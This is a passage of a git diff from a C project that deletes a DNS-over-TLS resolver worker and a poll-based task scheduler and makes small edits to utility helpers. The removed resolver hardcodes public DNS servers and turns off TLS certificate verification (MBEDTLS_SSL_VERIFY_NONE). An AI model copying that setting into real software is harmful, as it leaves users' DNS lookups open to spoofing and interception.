terrorists. - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; - } - - memmove(ctx->write_buf, ctx->write_buf + (size_t)ret, ctx->write_cnt_len - (size_t)ret); - ctx->write_cnt_len -= (size_t)ret; - } - if (ctx->write_cnt_len == 0) { - proc |= resolv_send_dns_msgs(ctx); - } - - if (ctx->write_cnt_len > 0 || (0 < ctx->qlist.size && ctx->qid_map.size < RESOLV_PIPELINE_SIZE)) { - ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; - } - else { - ctx->sck_pfd_slot[0]->pfd.events = POLLIN; - } - } - - if (proc) { - if (ctx->qlist.size == 0 && ctx->qid_map.size == 0 && - ctx->read_cnt_len == 0 && ctx->write_cnt_len == 0) { - ctx->sckop_to_slot->dur = RESOLV_SCK_IDLE_TIMEOUT; - } - else { - ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT; - } - } -} - -static bool resolv_proc_close (prne_resolv_wkr_ctx_t ctx) { - assert(ctx->ctx_state == RESOLV_CTX_STATE_CLOSING); - - if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return false; - } - if (ctx->sck_pfd_slot[0]->pfd.revents) { - switch (mbedtls_ssl_close_notify(&ctx->ssl.ctx)) { - case MBEDTLS_ERR_SSL_WANT_READ: - ctx->sck_pfd_slot[0]->pfd.events = POLLIN; - return false; - case MBEDTLS_ERR_SSL_WANT_WRITE: - ctx->sck_pfd_slot[0]->pfd.events = POLLOUT; - return false; - case 0: - resolv_close_sck(ctx, NULL, false); - return true; - default: - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return false; - } - } - - return false; -} - -static void resolv_proc_expired (prne_resolv_wkr_ctx_t ctx) { - prne_llist_entry_t *cur; - query_entry_t *qent; - - cur = ctx->qlist.head; - while (cur != NULL) { - qent = (query_entry_t*)cur->element; - - if (qent->to_slot != NULL && qent->to_slot->reached) { - qent->fut.qr = PRNE_RESOLV_QR_TIMEOUT; - cur = prne_llist_erase(&ctx->qlist, cur); - resolv_disown_qent(qent); - } - else { - cur = cur->next; - } - } -} - -static void resolv_wkr_free (void *p) { - DECL_CTX_PTR(p); - - if (p == NULL) { - return; - } - - prne_free_wkr_timeout_slot(ctx->sckop_to_slot); - prne_free_wkr_timeout_slot(ctx->err_to_slot); - prne_free_wkr_pollfd_slot(ctx->evt_pfd_slot); - prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[0]); - prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[1]); - prne_free(ctx->dnssrv_4.arr); - prne_free(ctx->dnssrv_6.arr); - prne_free_llist(&ctx->qlist); - prne_free_imap(&ctx->qid_map); - mbedtls_ssl_config_free(&ctx->ssl.conf); - mbedtls_ssl_free(&ctx->ssl.ctx); - - prne_close(ctx->act_dns_fd); - prne_close(ctx->dnss_fd[0]); - prne_close(ctx->dnss_fd[1]); - prne_close(ctx->evtfd[0]); - prne_close(ctx->evtfd[1]); - - prne_free(ctx); -} - -static void resolv_wkr_fin (void *p) { - DECL_CTX_PTR(p); - - assert(ctx->wkr_state == RESOLV_WKR_STATE_OK); - ctx->wkr_state = RESOLV_WKR_STATE_FIN_CALLED; -} - -static void resolv_wkr_work (void *p, const prne_wkr_tick_info_t *tick_info) { - DECL_CTX_PTR(p); - - assert(ctx->wkr_state != RESOLV_WKR_STATE_FINALISED); - assert((ctx->evt_pfd_slot->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) == 0); - - if (ctx->evt_pfd_slot->pfd.revents & POLLIN) { - uint8_t rubbish; - - if (read(ctx->evtfd[0], &rubbish, 1) < 0) { - prne_die_not_nonblock_err(); - } - } - - resolv_proc_expired(ctx); - - if (ctx->err_to_slot->active) { - if (ctx->err_to_slot->reached) { - ctx->err_to_slot->active = false; - } - else { - return; - } - } - - if (ctx->sckop_to_slot->active && ctx->sckop_to_slot->reached) { - if (ctx->ctx_state == RESOLV_CTX_STATE_READY) { - ctx->ctx_state = RESOLV_CTX_STATE_CLOSING; - ctx->sckop_to_slot->dur = RESOLV_SCK_CLOSE_TIMEOUT; - ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd; - ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; - return; - } - else { - resolv_close_sck(ctx, NULL, true); - } - } - if (ctx->ctx_state == RESOLV_CTX_STATE_CLOSING && !resolv_proc_close(ctx)) { - return; - } - - resolv_proc_q(ctx); - if (ctx->wkr_state == RESOLV_WKR_STATE_FIN_CALLED && ctx->qid_map.size == 0 && ctx->qlist.size == 0) { - if (ctx->ctx_state == RESOLV_CTX_STATE_READY) { - ctx->ctx_state = RESOLV_CTX_STATE_CLOSING; - ctx->sckop_to_slot->dur = RESOLV_SCK_CLOSE_TIMEOUT; - ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd; - ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; - } - else { - ctx->wkr_state = RESOLV_WKR_STATE_FINALISED; - resolv_close_sck(ctx, NULL, false); - ctx->evt_pfd_slot->pfd.fd = -1; - ctx->err_to_slot->active = false; - } - } -} - -prne_resolv_wkr_ctx_t prne_alloc_resolv_worker (prne_worker_t *w, prne_wkr_sched_req_t *wsr, mbedtls_ctr_drbg_context *ctr_drbg) { - prne_resolv_wkr_ctx_t ctx = NULL; - - if (wsr == NULL || ctr_drbg == NULL) { - errno = EINVAL; - return NULL; - } - - ctx = (prne_resolv_wkr_ctx_t)prne_malloc(sizeof(struct prne_resolv_wkr_ctx), 1); - if (ctx == NULL) { - return NULL; - } - ctx->dnss_fd[0] = ctx->dnss_fd[1] = -1; - ctx->evtfd[0] = ctx->evtfd[1] = -1; - ctx->read_cnt_len = 0; - ctx->write_cnt_len = 0; - ctx->wsr = wsr; - ctx->sckop_to_slot = prne_alloc_wkr_timeout_slot(wsr); - ctx->err_to_slot = prne_alloc_wkr_timeout_slot(wsr); - ctx->evt_pfd_slot = prne_alloc_wkr_pollfd_slot(wsr); - ctx->sck_pfd_slot[0] = prne_alloc_wkr_pollfd_slot(wsr); - ctx->sck_pfd_slot[1] = prne_alloc_wkr_pollfd_slot(wsr); - ctx->act_dns_fd = -1; - ctx->ctx_state = RESOLV_CTX_STATE_NONE; - ctx->wkr_state = RESOLV_WKR_STATE_OK; - ctx->ssl.ctr_drbg = ctr_drbg; - prne_init_llist(&ctx->qlist); - prne_init_imap(&ctx->qid_map); - mbedtls_ssl_config_init(&ctx->ssl.conf); - mbedtls_ssl_init(&ctx->ssl.ctx); - if (ctx->sckop_to_slot == NULL || - ctx->err_to_slot == NULL || - ctx->evt_pfd_slot == NULL || - ctx->sck_pfd_slot[0] == NULL || - ctx->sck_pfd_slot[1] == NULL) { - goto ERR; - } - - ctx->dnssrv_4.arr = NULL; - ctx->dnssrv_6.arr = NULL; - ctx->dnssrv_4.cnt = 8; - ctx->dnssrv_6.cnt = 8; - ctx->dnssrv_4.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); - ctx->dnssrv_6.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); - ctx->dnssrv_4.arr = prne_malloc(sizeof(prne_net_endpoint_t), ctx->dnssrv_4.cnt); - ctx->dnssrv_6.arr = prne_malloc(sizeof(prne_net_endpoint_t), ctx->dnssrv_6.cnt); - if (ctx->dnssrv_4.arr == NULL || ctx->dnssrv_6.arr == NULL) { - goto ERR; - } - // IPv4 servers - // Google - prne_true_or_die(prne_net_ep_set_ipv4("8.8.8.8", 853, ctx->dnssrv_4.arr + 0)); - prne_true_or_die(prne_net_ep_set_ipv4("8.8.4.4", 853, ctx->dnssrv_4.arr + 1)); - // Cloudflare - prne_true_or_die(prne_net_ep_set_ipv4("1.1.1.1", 853, ctx->dnssrv_4.arr + 2)); - prne_true_or_die(prne_net_ep_set_ipv4("1.0.0.1", 853, ctx->dnssrv_4.arr + 3)); - // Quad9 - prne_true_or_die(prne_net_ep_set_ipv4("9.9.9.10", 853, ctx->dnssrv_4.arr + 4)); - prne_true_or_die(prne_net_ep_set_ipv4("149.112.112.10", 853, ctx->dnssrv_4.arr + 5)); - // CleanBrowsing - prne_true_or_die(prne_net_ep_set_ipv4("185.228.168.9", 853, ctx->dnssrv_4.arr + 6)); - prne_true_or_die(prne_net_ep_set_ipv4("185.228.169.9", 853, ctx->dnssrv_4.arr + 7)); - // IPv6 servers - // Google - prne_true_or_die(prne_net_ep_set_ipv6("2001:4860:4860::8888", 853, ctx->dnssrv_6.arr + 0)); - prne_true_or_die(prne_net_ep_set_ipv6("2001:4860:4860::8844", 853, ctx->dnssrv_6.arr + 1)); - // Cloudflare - prne_true_or_die(prne_net_ep_set_ipv6("2606:4700:4700::1111", 853, ctx->dnssrv_6.arr + 2)); - prne_true_or_die(prne_net_ep_set_ipv6("2606:4700:4700::1001", 853, ctx->dnssrv_6.arr + 3)); - // Quad9 - prne_true_or_die(prne_net_ep_set_ipv6("2620:fe::fe", 853, ctx->dnssrv_6.arr + 4)); - prne_true_or_die(prne_net_ep_set_ipv6("2620:fe::9", 853, ctx->dnssrv_6.arr + 5)); - // CleanBrowsing - prne_true_or_die(prne_net_ep_set_ipv6("2a0d:2a00:1::2", 853, ctx->dnssrv_6.arr + 6)); - prne_true_or_die(prne_net_ep_set_ipv6("2a0d:2a00:2::2", 853, ctx->dnssrv_6.arr + 7)); - - OK_OR_ERR(pipe(ctx->evtfd)); - OK_OR_ERR(resolv_set_cmn_fd_opt(ctx->evtfd[0])); - OK_OR_ERR(resolv_set_cmn_fd_opt(ctx->evtfd[1])); - prne_set_pipe_size(ctx->evtfd[0], 1); - ctx->evt_pfd_slot->pfd.fd = ctx->evtfd[0]; - ctx->evt_pfd_slot->pfd.events = POLLIN; - - if (mbedtls_ssl_config_defaults(&ctx->ssl.conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) != 0) { - goto ERR; - } - mbedtls_ssl_conf_rng(&ctx->ssl.conf, mbedtls_ctr_drbg_random, ctx->ssl.ctr_drbg); - mbedtls_ssl_conf_authmode(&ctx->ssl.conf, MBEDTLS_SSL_VERIFY_NONE); - - w->ctx = ctx; - w->free = resolv_wkr_free; - w->fin = resolv_wkr_fin; - w->work = resolv_wkr_work; - w->has_finalised = resolv_wkr_has_finalised; - return ctx; -ERR: - if (ctx != NULL) { - prne_free_wkr_timeout_slot(ctx->sckop_to_slot); - prne_free_wkr_timeout_slot(ctx->err_to_slot); - prne_free_wkr_pollfd_slot(ctx->evt_pfd_slot); - prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[0]); - prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[1]); - prne_free(ctx->dnssrv_4.arr); - prne_free(ctx->dnssrv_6.arr); - prne_free_llist(&ctx->qlist); - prne_free_imap(&ctx->qid_map); - mbedtls_ssl_config_free(&ctx->ssl.conf); - mbedtls_ssl_free(&ctx->ssl.ctx); - - prne_close(ctx->evtfd[0]); - prne_close(ctx->evtfd[1]); - - prne_free(ctx); - } - - return NULL; -} - -bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, const prne_ipv_t ipv, prne_resolv_prm_t *out, const struct timespec *timeout) { - bool ret; - query_entry_t *q_ent; - prne_resolv_query_type_t qt; - - if (wkr->wkr_state != RESOLV_WKR_STATE_OK) { - errno = EPIPE; - return false; - } - - switch (ipv) { - case PRNE_IPV_4: qt = PRNE_RESOLV_QT_A; break; - case PRNE_IPV_6: qt = PRNE_RESOLV_QT_AAAA; break; - default: - errno = EINVAL; - return false; - } - - ret = resolv_qq(wkr, name, out, timeout, &q_ent); - if (ret) { - q_ent->ipv = ipv; - q_ent->type = qt; - } - - return ret; -} - -bool prne_resolv_prm_gettxtrec (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout) { - bool ret; - query_entry_t *q_ent; - - if (wkr->wkr_state != RESOLV_WKR_STATE_OK) { - errno = EPIPE; - return false; - } - - ret = resolv_qq(wkr, name, out, timeout, &q_ent); - if (ret) { - q_ent->type = PRNE_RESOLV_QT_TXT; - } - - return ret; -} - -void prne_resolv_free_prm (prne_resolv_prm_t *prm) { - if (prm->ctx != NULL) { - query_entry_t *ent = (query_entry_t*)prm->ctx; - - if (ent->wkr != NULL) { - prne_llist_erase(&ent->wkr->qlist, ent->qlist_ent); - - if (prne_imap_lookup(&ent->wkr->qid_map, ent->qid) != NULL) { - prne_imap_insert(&ent->wkr->qid_map, ent->qid, 0); - } - } - resolv_free_q_ent(ent); - } - - prm->ctx = NULL; - prm->fut = NULL; - prm->evtfd = -1; -} - -void prne_resolv_init_prm (prne_resolv_prm_t *prm) { - prm->ctx = NULL; - prm->fut = NULL; - prm->evtfd = -1; -} - -void prne_init_resolv_fut (prne_resolv_fut_t *fut) { - fut->rr_cnt = 0; - fut->rr = NULL; - fut->qr = PRNE_RESOLV_QR_NONE; - fut->err = 0; - fut->status = 0; -} - -void prne_free_resolv_fut (prne_resolv_fut_t *fut) { - size_t i; - - for (i = 0; i < fut->rr_cnt; i += 1) { - prne_free_resolv_rr(fut->rr + i); - } - prne_free(fut->rr); - fut->rr = NULL; - fut->rr_cnt = 0; -} - -void prne_init_resolv_rr (prne_resolv_rr_t *rr) { - rr->name = NULL; - rr->rr_class = 0; - rr->rr_type = 0; - rr->rr_ttl = 0; - rr->rd_data = NULL; - rr->rd_len = 0; -} - -void prne_free_resolv_rr (prne_resolv_rr_t *rr) { - prne_free(rr->name); - prne_free(rr->rd_data); - rr->rd_data = NULL; - rr->rd_len = 0; -} - -const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr) { - switch (qr) { - case PRNE_RESOLV_QR_OK: return "OK"; - case PRNE_RESOLV_QR_ERR: return "ERR"; - case PRNE_RESOLV_QR_PRO_ERR: return "PRO_ERR"; - case PRNE_RESOLV_QR_FIN: return "FIN"; - case PRNE_RESOLV_QR_IMPL: return "IMPL"; - case PRNE_RESOLV_QR_TIMEOUT: return "TIMEOUT"; - case PRNE_RESOLV_QR_STATUS: return "STATUS"; - } - return NULL; -} - -const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc) { - switch (rc) { - case PRNE_RESOLV_RCODE_NOERROR: return "NOERROR"; - case PRNE_RESOLV_RCODE_FORMERR: return "FORMERR"; - case PRNE_RESOLV_RCODE_SERVFAIL: return "SERVFAIL"; - case PRNE_RESOLV_RCODE_NXDOMAIN: return "NXDOMAIN"; - case PRNE_RESOLV_RCODE_NOTIMP: return "NOTIMP"; - case PRNE_RESOLV_RCODE_REFUSED: return "REFUSED"; - } - return NULL; -} - -const char *prne_resolv_rrtype_tostr (const uint16_t rrt) { - switch (rrt) { - case PRNE_RESOLV_RTYPE_A: return "A"; - case PRNE_RESOLV_RTYPE_NS: return "NS"; - case PRNE_RESOLV_RTYPE_CNAME: return "CNAME"; - case PRNE_RESOLV_RTYPE_SOA: return "SOA"; - case PRNE_RESOLV_RTYPE_PTR: return "PTR"; - case PRNE_RESOLV_RTYPE_MX: return "MX"; - case PRNE_RESOLV_RTYPE_TXT: return "TXT"; - case PRNE_RESOLV_RTYPE_AAAA: return "AAAA"; - } - return NULL; -} diff --git a/src/resolv_worker.h b/src/resolv_worker.h deleted file mode 100644 index c76152f..0000000 --- a/src/resolv_worker.h +++ /dev/null @@ -1,95 +0,0 @@ -#pragma once -#include "protocol.h" -#include "worker.h" - -#include - - -struct prne_resolv_wkr_ctx; -typedef struct prne_resolv_wkr_ctx* prne_resolv_wkr_ctx_t; - -struct prne_resolv_prm; -struct prne_resolv_fut; -struct prne_resolv_rr; -typedef struct prne_resolv_prm prne_resolv_prm_t; -typedef struct prne_resolv_fut prne_resolv_fut_t; -typedef struct prne_resolv_rr prne_resolv_rr_t; -typedef uint16_t prne_resolv_rcode_t; - -typedef enum { - PRNE_RESOLV_QR_NONE = -1, - - PRNE_RESOLV_QR_OK, - PRNE_RESOLV_QR_ERR, - PRNE_RESOLV_QR_PRO_ERR, - PRNE_RESOLV_QR_FIN, - PRNE_RESOLV_QR_IMPL, - PRNE_RESOLV_QR_TIMEOUT, - PRNE_RESOLV_QR_STATUS, - - NB_PRNE_RESOLV -} prne_resolv_qr_t; - -typedef enum { - PRNE_RESOLV_QT_NONE = -1, - - PRNE_RESOLV_QT_A, - PRNE_RESOLV_QT_AAAA, - PRNE_RESOLV_QT_TXT, - - NB_PRNE_RESOLV_QT -} prne_resolv_query_type_t; - -struct prne_resolv_prm { - void *ctx; - prne_resolv_fut_t *fut; - int evtfd; -}; - -struct prne_resolv_fut { - size_t rr_cnt; - prne_resolv_rr_t *rr; - int err; - prne_resolv_qr_t qr; - prne_resolv_rcode_t status; -}; - -struct prne_resolv_rr { - char *name; - uint16_t rr_class, rr_type; - uint32_t rr_ttl; - uint8_t *rd_data; - uint16_t rd_len; -}; - -// honor bind-utils' choice of words -#define PRNE_RESOLV_RCODE_NOERROR 0 -#define PRNE_RESOLV_RCODE_FORMERR 1 -#define PRNE_RESOLV_RCODE_SERVFAIL 2 -#define PRNE_RESOLV_RCODE_NXDOMAIN 3 -#define PRNE_RESOLV_RCODE_NOTIMP 4 -#define PRNE_RESOLV_RCODE_REFUSED 5 - -#define PRNE_RESOLV_RTYPE_A 1 -#define PRNE_RESOLV_RTYPE_NS 2 -#define PRNE_RESOLV_RTYPE_CNAME 5 -#define PRNE_RESOLV_RTYPE_SOA 6 -#define PRNE_RESOLV_RTYPE_PTR 12 -#define PRNE_RESOLV_RTYPE_MX 15 -#define PRNE_RESOLV_RTYPE_TXT 16 -#define PRNE_RESOLV_RTYPE_AAAA 28 - - -prne_resolv_wkr_ctx_t prne_alloc_resolv_worker (prne_worker_t *w, prne_wkr_sched_req_t *wsr, mbedtls_ctr_drbg_context *ctr_drbg); -bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, const prne_ipv_t ipv, prne_resolv_prm_t *out, const struct timespec *timeout); -bool prne_resolv_prm_gettxtrec (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout); - -void prne_resolv_init_prm (prne_resolv_prm_t *prm); -void prne_resolv_free_prm (prne_resolv_prm_t *prm); -void prne_init_resolv_fut (prne_resolv_fut_t *fut); -void prne_free_resolv_fut (prne_resolv_fut_t *fut); -void prne_init_resolv_rr (prne_resolv_rr_t *rr); -void prne_free_resolv_rr (prne_resolv_rr_t *rr); -const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr); -const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc); -const char *prne_resolv_rrtype_tostr (const uint16_t rrt); diff --git a/src/util_ct.h b/src/util_ct.h index 134ac57..cd21a12 100644 --- a/src/util_ct.h +++ b/src/util_ct.h @@ -13,3 +13,11 @@ #if !defined(memzero) #define memzero(addr, len) memset(addr, 0, len) #endif + +#ifdef PRNE_DEBUG +#define prne_dbgpf(...) fprintf(stderr, __VA_ARGS__) +#define prne_dbgperr(str) perror(str) +#else +#define prne_dbgpf(fmt, ...) +#define prne_dbgperr(str) +#endif diff --git a/src/util_rt.c b/src/util_rt.c index cdf4526..d42cc7d 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -4,6 +4,7 @@ #include #include #include +#include #include #include @@ -12,41 +13,20 @@ #include #include +#include -void prne_ok_or_die (const int ret) { - if (ret < 0) { - abort(); - } -} - -void prne_true_or_die (const bool ret) { +void prne_assert (const bool ret) { if (!ret) { - abort(); - } -} + volatile const int err = errno; -void prne_empty_func (void) {} - -bool prne_is_nonblock_errno (void) { - switch (errno) { -#if EAGAIN == EWOULDBLOCK - case EAGAIN: -#else - case EAGAIN: - case EWOULDBLOCK: -#endif - case EINPROGRESS: - return true; + if (true || err) { + abort(); + } } - return false; } -void prne_die_not_nonblock_err (void) { - if (!prne_is_nonblock_errno()) { - abort(); - } -} +void prne_empty_func (void) {} void prne_close (const int fd) { if (fd >= 0) { @@ -146,7 +126,7 @@ size_t prne_nstrlen (const char *s) { } void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len) { - static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789"; + static const char SET[] = { 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' }; size_t i = 0; uint32_t n; @@ -339,6 +319,12 @@ struct timespec prne_max_timespec (const struct timespec a, const struct timespe return prne_cmp_timespec(a, b) > 0 ? a : b; } +struct timespec prne_gettime (const clockid_t cid) { + struct timespec ret; + prne_assert(clock_gettime(cid, &ret) == 0); + return ret; +} + char *prne_enc_base64_mem (const uint8_t *data, const size_t size) { size_t ret_size; char *ret; diff --git a/src/util_rt.h b/src/util_rt.h index 9878064..ef241fc 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -6,6 +6,8 @@ #include #include +#include + #include @@ -32,11 +34,8 @@ bool prne_strendsw (const char *str, const char *w) { } #endif -void prne_ok_or_die (const int ret); -void prne_true_or_die (const bool ret); +void prne_assert (const bool ret); void prne_empty_func (void); -bool prne_is_nonblock_errno (void); -void prne_die_not_nonblock_err (void); void prne_close (const int fd); void prne_shutdown (const int fd, const int how); @@ -64,6 +63,7 @@ double prne_real_timespec (const struct timespec ts); int prne_cmp_timespec (const struct timespec a, const struct timespec b); struct timespec prne_min_timespec (const struct timespec a, const struct timespec b); struct timespec prne_max_timespec (const struct timespec a, const struct timespec b); +struct timespec prne_gettime (const clockid_t cid); char *prne_enc_base64_mem (const uint8_t *data, const size_t size); bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size); diff --git a/src/worker.c b/src/worker.c deleted file mode 100644 index b3dc714..0000000 --- a/src/worker.c +++ /dev/null @@ -1,290 +0,0 @@ -#include "worker.h" -#include "util_rt.h" -#include "util_ct.h" - -#include -#include -#include -#include - - -void prne_init_wkr_sched_req (prne_wkr_sched_req_t *r) { - r->pfd_arr = NULL; - r->pfd_arr_size = 0; - prne_init_llist(&r->tos_list); - prne_init_llist(&r->pfd_list); - r->timeout_active = false; -} - -void prne_free_wkr_sched_req (prne_wkr_sched_req_t *r) { - prne_llist_entry_t *cur; - prne_wkr_timeout_slot_pt to_slot; - prne_wkr_pollfd_slot_pt pfd_slot; - - if (r == NULL) { - return; - } - - cur = r->tos_list.head; - while (cur != NULL) { - to_slot = (prne_wkr_timeout_slot_pt)cur->element; - to_slot->parent.ent = NULL; - to_slot->parent.wsr = NULL; - cur = cur->next; - } - cur = r->pfd_list.head; - while (cur != NULL) { - pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; - pfd_slot->parent.ent = NULL; - pfd_slot->parent.wsr = NULL; - cur = cur->next; - } - - prne_free(r->pfd_arr); - prne_free_llist(&r->tos_list); - prne_free_llist(&r->pfd_list); - r->pfd_arr = NULL; - r->pfd_arr_size = 0; - r->timeout_active = false; -} - -bool prne_wkr_sched_req_prep_poll (prne_wkr_sched_req_t *r) { - prne_llist_entry_t *cur; - prne_wkr_timeout_slot_pt to_slot; - prne_wkr_pollfd_slot_pt pfd_slot; - size_t i = 0; - - cur = r->pfd_list.head; - while (cur != NULL) { - pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; - if (pfd_slot->pfd.fd >= 0) { - i += 1; - } - cur = cur->next; - } - if (i > 0) { - void *ny_mem; - - ny_mem = prne_realloc(r->pfd_arr, sizeof(struct pollfd), i); - if (ny_mem != NULL) { - r->pfd_arr = (struct pollfd*)ny_mem; - r->pfd_arr_size = i; - - i = 0; - cur = r->pfd_list.head; - while (cur != NULL) { - pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; - if (pfd_slot->pfd.fd >= 0) { - pfd_slot->pfd.revents = 0; - r->pfd_arr[i].fd = pfd_slot->pfd.fd; - r->pfd_arr[i].events = pfd_slot->pfd.events; - i += 1; - } - cur = cur->next; - } - } - else { - return false; - } - } - else { - prne_free(r->pfd_arr); - r->pfd_arr = NULL; - r->pfd_arr_size = 0; - } - - r->timeout_active = false; - cur = r->tos_list.head; - while (cur != NULL) { - to_slot = (prne_wkr_timeout_slot_pt)cur->element; - if (to_slot->active) { - if (r->timeout_active) { - r->timeout = prne_min_timespec(r->timeout, to_slot->dur); - } - else { - r->timeout = to_slot->dur; - r->timeout_active = true; - } - } - cur = cur->next; - } - - return true; -} - -void prne_wkr_sched_req_refl_poll (prne_wkr_sched_req_t *r, const int poll_ret, const struct timespec elapsed) { - prne_llist_entry_t *cur; - - if (r->timeout_active) { - prne_wkr_timeout_slot_pt to_slot; - - cur = r->tos_list.head; - while (cur != NULL) { - to_slot = (prne_wkr_timeout_slot_pt)cur->element; - if (to_slot->active) { - if (prne_cmp_timespec(to_slot->dur, elapsed) > 0) { - to_slot->dur = prne_sub_timespec(to_slot->dur, elapsed); - to_slot->reached = false; - } - else { - to_slot->dur.tv_sec = 0; - to_slot->dur.tv_nsec = 0; - to_slot->reached = true; - } - } - - cur = cur->next; - } - } - - if (poll_ret > 0) { - prne_wkr_pollfd_slot_pt pfd_slot; - size_t i = 0, ret_evts = 0; - - cur = r->pfd_list.head; - while (cur != NULL) { - pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; - if (pfd_slot->pfd.fd >= 0) { - assert(pfd_slot->pfd.fd == r->pfd_arr[i].fd); - - pfd_slot->pfd.revents = r->pfd_arr[i].revents; - if (pfd_slot->pfd.revents) { - ret_evts += 1; - } - if (ret_evts >= (size_t)poll_ret) { - break; - } - i += 1; - } - cur = cur->next; - } - } -} - -bool prne_wkr_sched_req_do_poll (prne_wkr_sched_req_t *r, int *poll_ret) { - bool ret = false; - - *poll_ret = 0; - if (r->pfd_arr_size > 0) { - *poll_ret = ppoll(r->pfd_arr, r->pfd_arr_size, r->timeout_active ? &r->timeout : NULL, NULL); - if (*poll_ret < 0) { - switch (errno) { - case EINTR: - case ENOMEM: - break; - default: - abort(); - } - } - else { - ret = true; - } - } - else if (r->timeout_active) { - if (nanosleep(&r->timeout, NULL) < 0 && errno != EINTR) { - abort(); - } - ret = true; - } - else { - ret = true; - } - - return ret; -} - -prne_wkr_timeout_slot_pt prne_alloc_wkr_timeout_slot (prne_wkr_sched_req_t *r) { - prne_wkr_timeout_slot_pt ret = NULL; - prne_llist_entry_t *ent = NULL; - - ret = prne_malloc(sizeof(struct prne_wkr_timeout_slot), 1); - if (ret == NULL) { - goto ERR; - } - ent = prne_llist_append(&r->tos_list, ret); - if (ent == NULL) { - goto ERR; - } - - ret->parent.ent = ent; - ret->parent.wsr = r; - ret->active = false; - ret->reached = false; - return ret; -ERR: - prne_free(ret); - prne_llist_erase(&r->tos_list, ent); - - return NULL; -} - -void prne_free_wkr_timeout_slot (prne_wkr_timeout_slot_pt s) { - if (s == NULL) { - return; - } - - if (s->parent.wsr != NULL) { - prne_llist_erase(&s->parent.wsr->tos_list, s->parent.ent); - } - prne_free(s); -} - -prne_wkr_pollfd_slot_pt prne_alloc_wkr_pollfd_slot (prne_wkr_sched_req_t *r) { - prne_wkr_pollfd_slot_pt ret = NULL; - prne_llist_entry_t *ent = NULL; - - ret = prne_malloc(sizeof(struct prne_wkr_pollfd_slot), 1); - if (ret == NULL) { - goto ERR; - } - ent = prne_llist_append(&r->pfd_list, ret); - if (ent == NULL) { - goto ERR; - } - - ret->parent.ent = ent; - ret->parent.wsr = r; - ret->pfd.fd = -1; - ret->pfd.events = 0; - ret->pfd.revents = 0; - return ret; -ERR: - prne_free(ret); - prne_llist_erase(&r->pfd_list, ent); - - return NULL; -} - -void prne_free_wkr_pollfd_slot (prne_wkr_pollfd_slot_pt s) { - if (s == NULL) { - return; - } - - if (s->parent.wsr != NULL) { - prne_llist_erase(&s->parent.wsr->pfd_list, s->parent.ent); - } - prne_free(s); -} - -void prne_init_wkr_tick_info (prne_wkr_tick_info_t *ti) { - memzero(ti, sizeof(prne_wkr_tick_info_t)); -} - -void prne_free_wkr_tick_info (prne_wkr_tick_info_t *ti) { - // left for future code -} - -void prne_wkr_tick_info_set_start (prne_wkr_tick_info_t *ti) { - prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &ti->this_tick)); - ti->last_tick = ti->this_tick; - ti->tick_diff.tv_sec = 0; - ti->tick_diff.tv_nsec = 0; - ti->real_tick_diff = 0.0; -} - -void prne_wkr_tick_info_set_tick (prne_wkr_tick_info_t *ti) { - ti->last_tick = ti->this_tick; - prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &ti->this_tick)); - ti->tick_diff = prne_sub_timespec(ti->this_tick, ti->last_tick); - ti->real_tick_diff = prne_real_timespec(ti->tick_diff); -} diff --git a/src/worker.h b/src/worker.h deleted file mode 100644 index 78661a1..0000000 --- a/src/worker.h +++ /dev/null @@ -1,79 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include - -#include "llist.h" - - -struct prne_wkr_timeout_slot; -struct prne_wkr_pollfd_slot; -struct prne_wkr_tick_info; -struct prne_wkr_sched_req; -typedef struct prne_wkr_timeout_slot* prne_wkr_timeout_slot_pt; -typedef struct prne_wkr_pollfd_slot* prne_wkr_pollfd_slot_pt; -typedef struct prne_wkr_sched_req prne_wkr_sched_req_t; -typedef struct prne_wkr_tick_info prne_wkr_tick_info_t; -typedef struct prne_worker prne_worker_t; - -struct prne_wkr_slot_parent { - prne_llist_entry_t *ent; - prne_wkr_sched_req_t *wsr; 